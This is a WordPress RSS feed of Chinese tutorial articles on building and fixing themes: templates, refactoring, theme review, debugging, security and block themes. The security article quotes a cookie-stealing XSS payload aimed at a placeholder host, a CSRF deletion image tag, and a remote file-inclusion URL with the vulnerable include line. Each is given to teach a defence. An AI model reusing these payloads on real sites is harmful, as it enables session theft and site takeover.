草根站长笔记 http://www.caogenbj.com 草根站长笔记 Fri, 06 Nov 2026 11:18:00 +0000 zh-Hans hourly 1 https://wordpress.org/?v=7.1.4 系列总结:一张图看懂 WordPress 主题 http://www.caogenbj.com/series-summary.html http://www.caogenbj.com/series-summary.html#respond Fri, 06 Nov 2026 10:54:39 +0000 http://www.caogenbj.com/?p=1875 先把那张图画出来

这个系列第一篇我说过一句话:“你脑子里没有一张图,看再多模板标签也是散的。”

六卷写完,这张图该给你了。

你输入一个网址
     │
     ▼
① Nginx 收到请求 ──→ 不是文件,交给 index.php
     │
     ▼
② WordPress 启动 ──→ 读数据库,确定"这是哪个页面"
     │
     ▼
③ 模板层级 ────────→ 决定用哪个文件(single.php? category.php?)
     │
     ▼
④ 加载 functions.php → 注册钩子、菜单、侧栏、资源
     │
     ▼
⑤ 模板开始执行
     ├── get_header()  ──→ header.php ──→ wp_head()
     ├── 主循环        ──→ 一条条取文章
     ├── 各种零件      ──→ 标题/正文/分页/面包屑
     └── get_footer()  ──→ footer.php ──→ wp_footer()
     │
     ▼
⑥ PHP 输出 HTML ────→ 浏览器收到,渲染

六个步骤,对应六卷:

卷 在这张图的哪一段
一 · 骨架 ①②③:请求怎么进来,模板怎么被选中
二 · 循环 ⑤ 的核心:文章怎么一条条吐出来
三 · 零件 ⑤ 的各个部位:head、导航、侧栏、分页
四 · 功能 ④:functions.php 和钩子
五 · 实战 把 ①—⑤ 自己拼一遍
六 · 进阶 让这张图跑得更稳、更安全、更能维护

你现在应该能做到一件事:随便打开一个页面,说出它走的哪条路径、用了哪个文件、循环跑了几次。

能做到,这个系列就没白读。

三个最值得记住的点

六卷六十二篇,如果只能带走三句话,我要这三句。

第一句:wp_head() 不是一个函数,是一个出口

这是整套东西里最”不起眼但最要命”的一点。

wp_head() 看起来只是”输出一些 meta”,实际上它是所有插件往页面头部写东西的唯一通道。这条通道断了,插件全部静默失效——不报错、不提示,你在后台设置得再对,前端一行都不会出现。

我那个主题就漏了这一行,漏了不知道多久。表现是:装 SEO 插件没反应、站点验证过不了、缓存插件的一半功能是空的。

为什么难发现?因为页面能正常打开。 一个”网站挂了”的问题,十分钟就修好了;一个”网站看起来正常但一半功能没生效”的问题,可以拖几年。

记住它的判断方法:打开页面源码,搜 api.w.org 或者 generator。搜不到,就是没调 wp_head()。

第二句:模板层级决定”用哪个文件”,循环决定”文件里输出什么”

这两件事撑起了整个主题系统。

新手最容易犯的错,是把它们混在一起:想改文章页的样式,去改 index.php——因为他在首页看到的就是 index.php。结果改了没反应,因为文章页用的是 single.php。

“我改的文件为什么没生效”这个问题,九成的答案是模板层级。

而”页面能开但内容是错的 / 空的 / 重复的”,九成的答案是循环。

两个问题,两条线索,别混。

第三句:主题管”显示”,插件管”功能”

这条界线很多人模糊,后果是换主题时功能全丢。

判断标准很简单:这段代码删掉之后,网站还能不能正常显示?

  • 能 → 它是功能,该放插件;
  • 不能 → 它是显示,放主题。

按这个标准,”文章列表怎么排”是主题的事,”访客统计”是插件的事,”防垃圾评论”是插件的事(虽然我图省事写在 functions.php 里了——这是个技术债,我知道)。

写在自己主题里当然能跑,但你换主题那天,就得重新写一遍。

这六卷里,哪些是”必须掌握”,哪些是”知道就行”

六十二篇不可能每篇都记牢。我按重要性分个层:

必须掌握(不掌握就写不下去)

  • 模板层级(卷一 2、3)
  • 主循环(卷二 9)
  • wp_head() / wp_footer()(卷三 19)
  • functions.php 与钩子的基本用法(卷四 31、32)
  • 输出转义(卷四 39)

应该会(会了能少踩很多坑)

  • WP_Query 与 wp_reset_postdata()(卷二 14、18)
  • 分页的正确写法(卷三 27、28)
  • add_theme_support(卷四 35)
  • 调试方法(卷六 59)

知道就行(遇到再查)

  • pre_get_posts(卷二 16)
  • 小工具的 before_widget 那些参数(卷三 24)
  • 多语言的 .po/.mo(卷六 56)
  • 区块主题(卷六 57)
  • 主题目录提交(卷六 60)

为什么这么分? 因为前三类是”每天都要用”,后两类是”一年用一次,用时查文档就行”。人的记忆有限,别平均用力。

接下来怎么练

看完不等于会。我给三个具体的练习,难度递增:

练习一:给现有主题加一个”阅读量统计”(半天)

要求:文章页显示”本文共被阅读 1234 次”。

这一题会逼你走完:functions.php 写函数 → 钩子挂在文章显示时 → single.php 输出 → 转义 → 处理”自己刷新不算”的问题。五个知识点,一题串完。

练习二:做一个”相关文章”模块(一天)

要求:文章页底部显示 4 篇同分类的文章,且当前这篇不能出现在里面。

这一题考的是 WP_Query 和 wp_reset_postdata()——不 reset 的话,后面的评论、分页会全乱,这是最经典的坑。

练习三:从零写一个只有三个文件的主题(两三天)

要求:style.css + index.php + functions.php,能显示文章列表和单篇,有分页。

不要抄,自己敲。敲的过程中你会不断卡住——每卡一次,就回去查对应那一篇。 这比顺序读十遍有用得多。

最后说点实在的

这个系列写了六十二篇,但我得诚实说一句:它不能让你变成”会写主题的人”。

能让你变成”会写主题的人”的,只有一件事:你真的去改了一个主题,而且改坏了,而且自己修好了。

我这次修 caogenbj,犯的错比这个系列里讲到的还多:

  • 用脚本替换函数,只匹配到第一个 },多留一个,整站白屏;
  • 清洗正文时先把 > 换成空格,导致后面剥标签把整段内容吞掉,一百多篇文章的描述全变成同一句模板;
  • 把 ?> 后面 8 个空行当成小事,结果站点地图一直是坏的。

每一个都是”看教程看不出来、动手才会撞上”的。

所以我的建议是:别把这个系列当教材读完就算,把它当手册。 改主题的时候放旁边,卡住了搜一下。用着用着,那些概念自己就长在你脑子里了。

系列导航

六卷的完整目录在这里:WordPress 主题设计教程 · 总目录。

如果你是从中间某一篇点进来的,建议按这个顺序补:

  1. 先读卷一第 1 篇(那张全景图);
  2. 再读卷二第 9 篇(主循环);
  3. 然后读卷三第 19 篇(wp_head);
  4. 其余按需查。

四篇,两个小时,你就能把这张图的骨架搭起来。剩下的都是往里填肉。

祝顺利。有问题可以在站内留言,我看到会回。

本系列导航

]]>
http://www.caogenbj.com/series-summary.html/feed 0
从 caogenbj 到“自己的主题”:重构路线图 http://www.caogenbj.com/refactor-roadmap.html http://www.caogenbj.com/refactor-roadmap.html#respond Fri, 06 Nov 2026 10:54:33 +0000 http://www.caogenbj.com/?p=1873 先给”改出来的主题”做个体检

我把 caogenbj 这个主题从头扫了一遍,症状是这样的:

症状 具体表现
认不出爹 index.php 里背景图路径写的是 themes/jiaoxueshiping/,那是它的原名
带着别人的东西 category-liupangketang.php 里有 30 处指向 wuli.fre9.com 的链接,还有 3 张本主题里不存在的轮播图
名字对不上 页脚写的是”零月租手机卡 © 2015-2020″——那是另一个站的名字和年份
文件重复 6 个 category-*.php 内容高度雷同,改一处要改六遍
缺零件 没有 404.php、search.php、tag.php
写死了 96 处 http://www.caogenbj.com 的站内链接存在数据库里

这些不是”代码写错了”,是“这个主题还在替别人活着”。

重构的目标不是”写得更漂亮”,是让它变成一个你能独立维护的东西。

第一步:摸清家底(不改代码)

这一步最关键,也最容易被跳过。直接动手改,改到一半发现”这个文件根本没被调用”,白干。

1. 列文件清单

ls -la wp-content/themes/caogenbj/

把 PHP 文件、CSS、JS、图片分开列。我当时列出来是 11 个 PHP + 一堆图片和两个 JS 库。

2. 查调用关系

每个模板文件上来第一行几乎都是 get_header(),最后是 get_footer()。你要查的是两件事:

  • 哪些模板真的会被用到? 对照卷一讲的模板层级——比如 category-liupangketang.php,只有当存在 slug 为 liupangketang 的分类时才会被用;
  • 哪些函数被谁调用? 用搜索:
grep -rn "lingfeng_breadcrumbs" *.php

如果搜出来只有定义、没有调用,那就是死代码。

3. 找出”写死的东西”

grep -rn "http://" *.php | grep -v "w3.org"
grep -rn "themes/" *.php
grep -rn "caogenbj.com" *.php

三条命令下来,所有”绑在特定站上”的地方就暴露了。我那次搜出 29 处 http://,其中真正该改的 15 处、不该动的 14 处(后面会讲怎么区分)。

这一步的产出应该是一张表:哪个文件、什么用途、要不要留。

第二步:断奶(去掉别人的痕迹)

按”风险从低到高”排,我是这么做的:

低风险:改文字

  • 页脚的品牌名和年份;
  • style.css 里的 Theme Name、Author、Author URI;
  • Theme URI 改成自己的站。

这些改动不影响任何逻辑,改完刷一下就能确认。

中风险:改路径

把 themes/jiaoxueshiping/ 改成 get_stylesheet_directory_uri()。

为什么要用函数而不是直接写目录名?因为写死的目录名,下次改主题名又要改一遍。用函数,改目录名它自动跟着变。

// 改前
background: url(http://www.caogenbj.com/wp-content/themes/jiaoxueshiping/notice_bg.gif)

// 改后
background: url(<?php echo esc_url( get_stylesheet_directory_uri() . '/notice_bg.gif' ); ?>)

高风险:删文件

这一步要格外小心。category-liupangketang.php 这种,删之前必须确认两件事:

  1. 有没有这个 slug 的分类?没有,模板永远不会被调用;
  2. 有没有别的文件 include 它?

两条都确认了才删。删完立刻刷几个页面看看,别一次删五个。

我这次的做法是:不删,先注释掉或者在文件名后面加 .bak。观察一周,没出问题再真删。这叫”可回退的删除”。

第三步:立规矩(让下次不用想)

前三步是”清理”,这一步是”防止再脏”。

规矩一:所有函数加前缀

function caogenbj_strimwidth() { ... }
function caogenbj_breadcrumbs() { ... }

我原来那个主题的函数全是 lingfeng_ 开头——那是模板作者的名字。改成自己的前缀,不是为了好看,是为了将来跟插件撞名时,能一眼看出是谁的。

规矩二:资源走 enqueue

把 header.php 里那两个硬写的 <script> 改成 wp_enqueue_script。

收益很实在:缓存插件能版本化它们了。 你改了 CSS,把版本号加一,访客浏览器就会重新下载。硬写的话,只能让访客自己按 Ctrl+F5(他不会按)。

规矩三:输入输出都过一道

echo $变量 全部改成 echo esc_html( $变量 );href="<?php echo $url ?>" 改成 esc_url()。

规矩四:重复的模板合并

6 个 category-*.php 如果内容一样,就只留一个 category.php。真要区分,用条件判断:

<?php if ( is_category( 'liupangketang' ) ) : ?>
  ...
<?php else : ?>
  ...
<?php endif; ?>

为什么这条重要? 我给你算一笔:这次修一个背景图路径,因为有 6 个雷同的分类模板,同一处改要改 9 遍(6 个分类模板 + index + 2 个其他)。漏一处,就前功尽弃。

第四步:能升级

前三条做完,主题是你的了。但要能长期维护,还差两件事:

一、版本控制。

最轻量的做法:每次大改之前,把主题目录打包成 caogenbj-20261106.zip,放在本地。出问题了,解压覆盖就回去。

正式一点就上 Git。主题目录 git init,每次改完 commit。好处是”能看出改了什么”——不用靠记忆。

二、子主题(如果还想跟着上游更新)。

我前面写过一篇专门讲子主题。这里只说结论:如果你已经改到这个程度(重写了 head、换了模板、加了 SEO 层),那就不用考虑子主题了——你已经不是”继承”,你是”分家”。

分家之后,”上游更新”这条路就断了。接受它,然后自己维护好。

优先级:不要一次全改

上面这些如果一次全做,工作量大概两三天,而且极易出错。

我给自己的排序是这样的(按”风险 vs 收益”):

  1. 先修”会出错”的:漏 wp_head()、函数重名、语法错误。这些直接导致功能失效或白屏;
  2. 再修”影响收录”的:title / description / canonical / 站点地图。这些影响流量;
  3. 然后修”影响体验”的:死链、404、图片过大、脚本阻塞;
  4. 最后修”影响心情”的:代码风格、命名、注释、文件整理。

很多人卡在第 4 步,因为第 4 步最”看得见”——改完代码变整齐了,很有成就感。但第 1、2 步才是真的在挣钱。

我这次的实际顺序是:http 链接 → 摘要函数 → wp_head → SEO 层 → 安全 → 变量名。前四步占了八成时间,最后一步(改 lingfeng_ 前缀)到现在还没做。

没做也不影响站运行。这就是”优先级”的意思。

小结

一句话记住:摸家底 → 断奶 → 立规矩 → 能升级。四步按顺序来,别一次全改;先修会出错的,再修影响收录的。

下一篇是这个系列的最后一篇:把六卷的内容收成一张图。

本系列导航

]]>
http://www.caogenbj.com/refactor-roadmap.html/feed 0
主题目录提交:官方审核到底卡什么 http://www.caogenbj.com/theme-review.html http://www.caogenbj.com/theme-review.html#respond Fri, 06 Nov 2026 10:54:27 +0000 http://www.caogenbj.com/?p=1871 先说结论:我这个主题永远过不了审

不是因为写得差,是因为它从根上违反了官方目录的几条硬规则。举三个现成的:

  1. 侧栏里有个写死的外站域名(http://www.caogenbj.com/laoshi.php);
  2. 页脚有品牌文字和固化的年份(”草根站长笔记 © 2015-2026″);
  3. 分类模板里塞了 30 处指向 wuli.fre9.com 的链接。

这三条在官方审核里都属于”把主题当广告位”——主题应该是通用的,不该绑定某一个站。

这一篇就讲清楚:官方目录到底卡什么,以及”要不要去提交”这件事本身值不值得。

六条硬规则

一、许可证必须 GPL 兼容

WordPress 本身是 GPL v2(或更高),衍生作品必须同协议。你主题里所有 PHP 代码、CSS、JS 都得是 GPL 兼容的,包括你用的第三方库——比如 bootstrap 是 MIT,兼容;但某个”仅供学习使用”的字体就不行。

主题的 style.css 头部通常要写:

License: GNU General Public License v2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html

二、所有输出必须转义,所有输入必须清洗

这一条是审核驳回率最高的。审核员会逐个文件看,凡是 echo $变量 都要求有 esc_*。

我那个 searchform.php:

<form action="<?php echo home_url( '/' ); ?>">

就会被要求改成 esc_url( home_url( '/' ) )。

注意这是”必须”,不是”建议”。 没转义就是驳回,没有商量。

三、脚本和样式必须用 enqueue

不能在 header.php 里直接写 <script src="...">。必须:

add_action( 'wp_enqueue_scripts', function () {
    wp_enqueue_style( 'my-style', get_stylesheet_uri(), array(), '1.0' );
    wp_enqueue_script( 'my-script', get_template_directory_uri() . '/js/app.js', array( 'jquery' ), '1.0', true );
} );

为什么这么严?因为插件需要能”接管”这些资源——合并、延迟、CDN 替换,都靠这套注册机制。你硬写 <script>,插件就管不了。

我原来的主题全是硬写的(header.php 里直接两个 <script>),这一条就过不去。

四、禁止”主题锁定”

不允许把功能做成”付费才能解锁”。比如”免费版只能改颜色,专业版才能改布局”——这在官方目录里是禁止的。

也不能在主题里弹窗要求你关注公众号、加群、给好评。

五、禁止把流量导出去

这条就是我那三处问题踩的:

  • 页脚写死”Powered by 某某”并带链接;
  • 侧栏塞自己的推广表单;
  • 模板里放指向自己另一个站的外链。

允许的只有一种:作者 URI。 style.css 里的 Author URI 可以链到你自己的站,其他地方不行。

六、必须用前缀,避免函数名冲突

主题里所有函数、类、常量都要带唯一前缀:

function caogenbj_setup() { ... }
class Caogenbj_Walker extends Walker_Nav_Menu { ... }
define( 'CAOGENBJ_VERSION', '1.0' );

为什么?因为主题和插件共处一个 PHP 空间。你写一个 function setup(),别人插件也写一个,就白屏了。

我这次修主题就遇到了同类问题:新函数沿用了旧函数名,旧函数没删干净,直接报 Cannot redeclare,整站白屏。

用工具自查:Theme Check

官方有个插件叫 Theme Check,装上去之后在”外观”菜单里多一项,点一下就把上面这些规则全跑一遍,按”必需 / 警告 / 建议”分级列出来。

它查的东西包括:

  • 有没有 wp_head() / wp_footer()(我那个主题原来就漏了 wp_head());
  • 有没有硬编码的 <script> / <link>;
  • 有没有未转义的输出;
  • style.css 的头部字段是否齐全;
  • 有没有用已废弃的函数(比如 bloginfo('template_url')、wp_title())。

这一条对不打算提交的人也值得跑一次,因为它列出来的问题,基本就是”你这个主题写得不够规范”的清单。

顺带说:我这次修主题,就把 bloginfo('template_url') 换成了 get_template_directory_uri(),把 wp_title() 交给了 title-tag 支持。这两个都是 Theme Check 会报的项。

提交流程

四步:

  1. 把主题打包成 zip(只要主题目录,不要外面再套一层);
  2. 到 wordpress.org/themes/upload 上传;
  3. 进审核队列,等审核员给反馈(通常几天到几周);
  4. 按反馈改,重新上传,直到通过。通过后你会拿到 SVN 权限,以后用 SVN 提交更新。

审核是人工的,会真的打开你的代码看。所以别想着”机器检测不到”。

现实一点:要不要做这件事

说我的判断:对绝大多数人,不值得。

理由三条:

一、收益不确定。

官方目录的流量确实大,但竞争也大。一个没有任何差异化、没有截图、没有好评的新主题,进去就是几千名开外。你指望它给你带流量,不如把精力放在内容上。

二、维护成本是长期的。

通过审核只是开始。之后每次 WordPress 大版本更新,你都得跟着测;有人提 issue,你得回;有人给一星,你得受着。这是”运营一个产品”,不是”分享一段代码”。

三、你的主题大概率绑着你的站。

就像我这个,页脚是品牌名、侧栏是自己的表单、模板里是自己站的外链。要改成通用主题,等于重写一遍。 而重写完之后,它就不再是”我站的皮肤”了。

那什么情况下值得?

  • 你想靠”主题作者”这个身份建立个人品牌;
  • 你本来就打算做一个通用的、给别人用的主题;
  • 你想通过这个过程,逼自己把规范学到骨子里。

第三条其实是最大的价值。 走一遍审核,你对”转义、前缀、enqueue、模板层级”这些的理解会完全不一样——因为每一条都有具体的人在挑你的错。

不提交,也该做的四件事

就算永远不提交,这四件事也该做,因为它们直接影响你自己的站:

  1. 转义。 防 XSS,也防”内容里带引号把页面撑坏”;
  2. 前缀。 防跟插件撞名白屏;
  3. enqueue。 让缓存插件和 CDN 能接管资源;
  4. 跑一次 Theme Check。 当体检报告看。

规范不是为了取悦审核员,是为了让半年后的自己少踩坑。

小结

一句话记住:官方目录卡六条(许可、转义、enqueue、不锁功能、不导流量、带前缀);不打算提交也要守着,因为守的是自己的站。

下一篇是路线图:如果你手里这个”改出来的主题”想变成真正属于自己的东西,该怎么一步步重构。

本系列导航

]]>
http://www.caogenbj.com/theme-review.html/feed 0
调试:WP_DEBUG 与 Query Monitor http://www.caogenbj.com/theme-debugging.html http://www.caogenbj.com/theme-debugging.html#respond Fri, 06 Nov 2026 10:54:21 +0000 http://www.caogenbj.com/?p=1869 白屏。什么提示都没有。

改完 functions.php,保存,刷新——整站白屏。没有报错,没有提示,就一片白。

这是 WordPress 主题开发里最让人慌的时刻,因为你看不到任何线索。

原因很简单:PHP 默认在正式环境里不显示错误(display_errors 关掉了),出错时直接中断,页面就剩下已经输出的那部分——如果错误发生在输出之前,就是全白。

我在另一个站上就撞过一次。那次报错是这样的(后来打开日志才看到):

Parse error: Unmatched '}' in .../functions.php on line 96

多了一个 }。整整花了我十分钟才找到——因为白屏什么也不告诉我。

第一件事:把错误显示出来

打开 wp-config.php,找到这一行:

define( 'WP_DEBUG', false );

改成:

define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );

三个常量,各管一件事:

常量 作用
WP_DEBUG 总开关,打开后 PHP 的 notice / warning 都会报
WP_DEBUG_LOG 把错误写进 wp-content/debug.log
WP_DEBUG_DISPLAY 是否在页面上显示错误

注意我把 WP_DEBUG_DISPLAY 设成了 false。为什么?

因为如果设成 true,错误会直接印在页面上,访客也能看到——包括文件路径、数据库查询语句。那是给攻击者送情报。

正确的组合是:错误写进日志,页面上不显示。 我去看日志。

日志文件在 wp-content/debug.log。用宝塔的文件管理器打开,或者:

tail -50 wp-content/debug.log

那次的 Unmatched '}' 就是这么看到的。

白屏的第一反应:先恢复,再排查

顺序很重要。我现在的习惯是:

  1. 先把我刚改的那个文件换回备份,确认站点恢复;
  2. 然后再慢慢查是哪儿错了。

为什么?因为站点挂着的每一分钟都在损失。先止血,再治病。

所以有一条硬规矩:改任何 PHP 文件之前,先复制一份 functions.php.bak。 宝塔的文件管理器有”复制”按钮,两秒钟的事。

如果要更稳,把整个主题目录打包下载一份到本地。我这次就是这么干的——出问题时,把修好的单个文件传上去就恢复了。

第二类问题:页面能开,但坏了

不是白屏,是”能打开但不对”。比如:

  • 页面顶部多了几行空白;
  • 站点地图打不开;
  • 某个区块什么都不显示。

这类问题通常是多余的输出造成的。

我自己遇到的那个:functions.php 末尾写了一个 ?>,后面跟了 8 个空行。

remove_action( 'wp_head', 'rest_output_link_wp_head' );
}
?>




PHP 的规则是:?> 之后的内容,原样输出。那 8 个空行就被打到了每一个响应的最前面。

对 HTML 页面:浏览器忽略空白,你看不出来(只是源码开头有几行空的)。

对 XML:致命。 因为 XML 规定 <?xml 必须是文件的第一个字节,前面多一个换行都不合法。我的站点地图就因为前面多这 8 个换行,一直解析失败。

检测方法很直接,看文件末尾:

tail -5 functions.php | cat -A

cat -A 会把行尾显示成 $,空白行一目了然。

修法有两条:

一、纯 PHP 文件不写 ?>。 这是 WordPress 官方编码规范的建议。文件整个都是 PHP,没有要输出的 HTML,就不需要”出”这个动作。

二、如果一定要保留,?> 后面不能有第二个换行。 PHP 有个专门处理:?> 后面紧跟的那一个换行会被自动吃掉。第二个开始,就照常输出了。

第三类问题:报错说”格式不对”

这类问题最容易被误判,因为我踩过。

我给站点发布文章的时候,一直收到这个错误:

not well-formed (invalid token): line 1, column 0

第一反应:内容里有非法字符,去查内容。查了半天,内容没问题。

真相是:服务器返回的响应是 gzip 压缩的,而我的客户端没解压。 拿一堆二进制去当 XML 解析,当然报”格式不对”。

这个教训很通用:看到”格式错误”,先确认”我拿到的是不是原始内容”。

排查方法:把响应的前几十个字节打印出来看。如果是 \x1f\x8b 开头,那是 gzip 魔数,说明数据是被压缩的。

同一类问题还有”内容是对的,但类型不对”。我的站点地图就遇到过:XML 内容完全合法,但响应头写的是 Content-Type: text/html,浏览器按 HTML 解析,页面一片空白。内容正确 + 类型错误 = 看起来坏掉。

Query Monitor:把”猜”变成”看”

上面说的都是”出错了怎么查”。但更多时候,问题是”没出错,但慢 / 但不对”。

这时候装一个插件:Query Monitor。

它在页面底部(或工具栏)加一个面板,告诉你这个页面:

  • 跑了多少条 SQL,每条是什么、花了多久、哪一行代码触发的;
  • 加载了哪些钩子,哪些 add_action 挂在这个页面上了;
  • 加载了哪些脚本和样式,各自多大;
  • 当前用的是哪个模板文件(这个特别有用,卷一讲的”模板层级”不用背了,它直接告诉你);
  • 有没有 PHP 错误、有没有 HTTP 请求失败。

我拿它查过一次”页面变慢”:发现同一个页面跑了 60 多条 SQL,其中一半是同一个查询重复跑。原因就是循环里调了会查库的函数。

这类问题靠”看代码”是看不出来的,必须靠工具。

注意:Query Monitor 只在登录状态下生效,访客看不到。所以可以常开着,不用管。

调试的三条纪律

最后说三条我给自己定的规矩:

一、调试信息不要留在线上。

var_dump()、print_r()、error_log()——查完就删。尤其是 var_dump($post) 这种,会把整个对象的内容印在页面上,访客能看见全部字段。

二、查完把 WP_DEBUG 关掉。

开着的代价是:每个 notice 都要写日志,日志文件会越长越大;而且开着 debug 时,有些插件的严格模式会被触发,行为跟正式环境不一致。

三、一次只改一个地方。

这条最难做到,但最重要。同时改五个文件,出问题时你不知道是哪个引起的,只能一个个回退。改一个、刷一次、确认没问题、再改下一个。

小结

一句话记住:白屏先换回备份止血,再打开 WP_DEBUG_LOG 看日志;页面”能开但不对”先查多余输出;”格式错误”先确认拿到的数据是不是原始内容。

下一篇聊一个更功利的话题:如果你的主题想提交到 WordPress 官方目录,要过哪些关。

本系列导航

]]>
http://www.caogenbj.com/theme-debugging.html/feed 0
主题安全:XSS、CSRF、文件包含 http://www.caogenbj.com/theme-security.html http://www.caogenbj.com/theme-security.html#respond Fri, 06 Nov 2026 10:54:15 +0000 http://www.caogenbj.com/?p=1867 从我侧栏里那个表单说起

这次排查,我在 sidebar.php 第 20 行看到这么一段:

<form role="form" action="http://www.caogenbj.com/laoshi.php" method="post">
  <div class="form-group">
    <label for="name">您的号码:</label>
    <input type="text" class="form-control" placeholder="您的电话号码" name="b">
  </div>
  <button type="submit" class="btn btn-default">免费通话咨询</button>
</form>

这是个”留号码,我们打给你”的表单,从之前那个物理站一起搬过来的。四个问题:

  1. action 写死了 http:// + 写死了域名,将来上 https 就得再改一次;
  2. action 没有转义,虽然这里是硬编码的地址,但写法本身是错的;
  3. 没有任何 CSRF 防护;
  4. laoshi.php 这个文件名,跟”草根站长笔记”没有任何关系。

第三条是这一篇要讲的重点。一个”提交号码”的表单,如果没有 CSRF 防护,别人可以伪造页面诱导你的访客提交,也可以直接往你库里灌数据。

XSS:输出的时候转义

XSS(跨站脚本)的原理很简单:用户输入的内容,被你原样输出到页面上,而那段内容里带了 <script>。

比如评论区。有人提交一条评论:

<script>location='http://坏站/?c='+document.cookie</script>

如果你的模板是 echo $comment_content;,这段脚本就会在所有看到这条评论的人的浏览器里执行。

防法只有一个:输出时转义。 不是输入时过滤,是输出时转义。

输出位置 用什么
标签之间的纯文本 esc_html()
属性值里(引号内) esc_attr()
URL(href/src) esc_url()
JS 字符串里 esc_js()
富文本(要保留 HTML) wp_kses_post()

我那个搜索框就写错了:

<form action="<?php echo home_url( '/' ); ?>">

应该是:

<form action="<?php echo esc_url( home_url( '/' ) ); ?>">

这里 home_url() 返回的是站点地址,正常情况下不会有问题。但”正常情况”不是安全的前提。 万一站点地址被改成带引号的值,这个属性就断了。转义的成本是 8 个字符,没有理由不写。

CSRF:表单要带 nonce

CSRF(跨站请求伪造)比 XSS 更隐蔽,因为它不需要你的网站有漏洞。

场景:你的网站有个”删除文章”的地址 /wp-admin/post.php?action=delete&post=123(只是举例)。你登录着后台,然后去访问了一个恶意页面,那个页面里藏了一张图:

<img src="http://你的站/wp-admin/post.php?action=delete&post=123">

浏览器加载这张”图”的时候,会带着你的登录 Cookie 去请求那个地址。服务器看到 Cookie 是真的,就执行了删除。 你什么都没点。

防法:每个会改变数据的请求,都带一个一次性的随机串(nonce),服务器校验它。

WordPress 自带这套机制:

<?php wp_nonce_field( 'save_phone', 'phone_nonce' ); ?>
<input type="text" name="phone">
<button type="submit">提交</button>

处理端:

<?php
if ( ! isset( $_POST['phone_nonce'] )
     || ! wp_verify_nonce( $_POST['phone_nonce'], 'save_phone' ) ) {
    wp_die( '校验失败,请返回重试。' );
}
$phone = sanitize_text_field( $_POST['phone'] );
// 到这里才敢用

nonce 里混了用户 ID、时间片和密钥,别人猜不出来,而且默认 12 到 24 小时就失效。

注意 nonce 防的是”伪造请求”,不是”重复提交”。 同一个 nonce 在有效期内可以重复用,要防重复提交得另做。

我那个”留号码”的表单,就缺这一段。改法:

<form role="form" action="<?php echo esc_url( home_url( '/laoshi.php' ) ); ?>" method="post">
  <?php wp_nonce_field( 'callback_request', 'cb_nonce' ); ?>
  <input type="tel" name="b" placeholder="您的电话号码">
  <button type="submit">免费通话咨询</button>
</form>

顺手把 action 换成了 home_url()——这样将来上 https,这里自动跟着变。

文件包含:最危险的一类

这类漏洞一旦出现,通常是”整站被接管”级别。写起来是这样:

// 致命写法,别学
include $_GET['page'] . '.php';

攻击者传 ?page=http://坏站/shell,你的服务器就去下载并执行那段代码。

主题里需要”动态加载文件”的场景不多,但确实有——比如根据分类加载不同的模板片段。正确做法是用 WordPress 提供的函数,它们会做路径校验:

// 从主题目录找文件,找不到就什么都不做
get_template_part( 'parts/content', get_post_type() );

// 或者
locate_template( 'parts/foo.php', true );

get_template_part() 的第一个参数里,绝对不能出现用户输入。 它虽然有一些路径处理,但不是为”接受任意输入”设计的。

如果确实要按分类加载,先做白名单:

$allowed = array( 'diqu', 'liuliang', 'taocan' );
$slug    = get_post_type();
if ( in_array( $slug, $allowed, true ) ) {
    get_template_part( 'parts/content', $slug );
} else {
    get_template_part( 'parts/content', 'default' );
}

安全的第一原则是”白名单”,不是”黑名单”。 黑名单永远会漏,因为你想不全。

权限检查:能不能做,先问一句

处理表单、执行动作之前,必须先确认”这个人有权限吗”:

if ( ! current_user_can( 'manage_options' ) ) {
    wp_die( '权限不足。' );
}

这条在主题里用得少(主题一般不做后台操作),但如果你的主题带了”主题设置页”,那就必须有。

顺序也要注意:先验权限,再验 nonce,最后才处理数据。 反过来会让攻击者通过报错差异探测信息。

输入清洗:不是”过滤”,是”按类型转换”

WordPress 有一组 sanitize_* 函数,用途不是”删掉危险字符”,而是”把值转换成它该有的样子”:

函数 结果
sanitize_text_field() 去掉标签、换行、多余空白
sanitize_email() 不合法的邮箱返回空字符串
absint() 转成非负整数
sanitize_key() 只留小写字母、数字、下划线、连字符

我那个表单里的电话号码,最合适的处理是:

$phone = preg_replace( '/[^0-9+\-]/', '', $_POST['b'] );

只留数字、加号、连字符,其他全去掉。这比”判断是不是手机号”更稳——因为判断规则会变(携号转网、虚拟号段),而”只允许这几个字符”永远成立。

小结

一句话记住:输出转义(XSS)、表单带 nonce(CSRF)、加载文件用白名单(包含)、动作前查权限。四件事,一件都不能省。

下一篇聊调试——白屏了、报错了,怎么在五分钟内定位。

本系列导航

]]>
http://www.caogenbj.com/theme-security.html/feed 0
区块主题(FSE):theme.json 与块模板 http://www.caogenbj.com/block-theme.html http://www.caogenbj.com/block-theme.html#respond Fri, 06 Nov 2026 10:54:09 +0000 http://www.caogenbj.com/?p=1865 一个判断方法,三秒钟认出来

打开一个主题目录,先看有没有 templates/ 文件夹,里面是不是 .html 文件。

  • 有 templates/index.html → 区块主题(FSE)
  • 只有 index.php、single.php 这些 → 经典主题

我自己的 caogenbj 属于后者:11 个 PHP 文件,一个 .html 模板都没有。

这两类主题的差别,不是”新写法旧写法”的区别,而是整个页面的组装方式换了。

经典主题:结构写在 PHP 里

我现在的首页(简化过):

<?php get_header(); ?>

<div class="container">
  <div class="jumbotron">
    <h1>...</h1>
    <p>...</p>
  </div>
  <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
    <h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
  <?php endwhile; endif; ?>
</div>

<?php get_sidebar(); ?>
<?php get_footer(); ?>

页面的骨架是 HTML 标签,动态部分是 PHP 函数。 想改结构,改 PHP 文件。

区块主题:结构写在 HTML 注释里

同样一个首页,在区块主题里长这样(templates/index.html):

<!-- wp:template-part {"slug":"header"} /-->

<!-- wp:group {"layout":{"type":"constrained"}} -->
<div class="wp-block-group">
  <!-- wp:query {"query":{"perPage":10,"postType":"post"}} -->
  <div class="wp-block-query">
    <!-- wp:post-template -->
      <!-- wp:post-title /-->
    <!-- /wp:post-template -->
  </div>
  <!-- /wp:query -->
</div>
<!-- /wp:group -->

<!-- wp:template-part {"slug":"footer"} /-->

看着像 HTML,其实是“注释包裹的块声明”。WordPress 读这些注释,才知道这里放什么。

所以两个关键区别:

经典主题 区块主题
页面结构 PHP 文件 templates/*.html
循环写法 while ( have_posts() ) <!-- wp:query -->
改样式的方式 CSS 文件 后台”站点编辑器”可视化调
页头页脚 header.php parts/header.html

